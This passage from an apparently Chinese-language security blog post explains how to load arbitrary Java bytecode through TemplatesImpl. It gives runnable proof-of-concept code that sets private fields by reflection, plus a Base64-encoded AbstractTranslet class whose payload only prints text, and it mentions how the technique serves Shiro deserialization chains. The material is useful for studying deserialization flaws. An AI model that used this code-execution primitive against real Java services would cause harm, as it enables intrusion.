        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_name","test");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    }

    //利用反射给私有变量赋值如下
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

这里我们使用了setFieldValue方法设置私有属性。分别是_bytecodes 、 _name和_tfactory。_name 可以是任意字符串,只要不为null即;_tfactory 需要是一个 TransformerFactoryImpl 对象,因为
TemplatesImpl#defineTransletClasses() 方法里有调用到_tfactory.getExternalExtensionsMap() ,如果是null会出错。

但这个POC没法直接运行,因为TemplatesImpl对加载的字节码是有要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,所以我们需要构造一个继承了AbstractTranslet的类,在他的构造方法里去写我们要执行的代码

package com.govuln;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TempClass extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public TempClass(){
        super();
        System.out.println("Hello TemplatesImpl");
    }
}

然后用javac TempClass.java把它编译成TempClass.class,最后写个代码把它转成base64:

package com.govuln;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class BytecodeToBase64 {
    public static void main(String[] args) throws Exception {
        // 读取字节码文件
        Path path = Paths.get("C:\\Users\\user\\IdeaProjects\\test\\src\\com\\govuln\\TempClass.class");
        byte[] bytecode = Files.readAllBytes(path);

        // 将字节码转换为Base64格式字符串
        String base64 = Base64.getEncoder().encodeToString(bytecode);

        // 输出Base64格式字符串
        System.out.println(base64);
    }
}

把那个输出的base64填充进去

package com.govuln;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABRjb20vZ292dWxuL1RlbXBDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADAABAA4ADwABAAkAAAAtAAIAAQAAAA0qtwABsgACEgO2AASxAAAAAQAKAAAADgADAAAAFAAEABUADAAWAAEAEAAAAAIAEQ==");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_name","test");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    }

    //利用反射给私有变量赋值如下
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功执行函数

利用BCEL ClassLoader加载字节码

理论上来说,所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都属于我们需要探讨的字节码。因此,bcel字节码也必然在我们的讨论范围内,且占据着比较重要的地位。

BCEL,全名,Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为
被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的
原生库中。具体介绍可以去看看p神写的BCEL ClassLoader去哪了

TemplatesImpl在Shiro中的利用

通过 TemplatesImpl 构造的利用链,理论上可以执行任意Java代码,这是一种非常通用的代码执行漏
洞,不受到对于链的限制

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇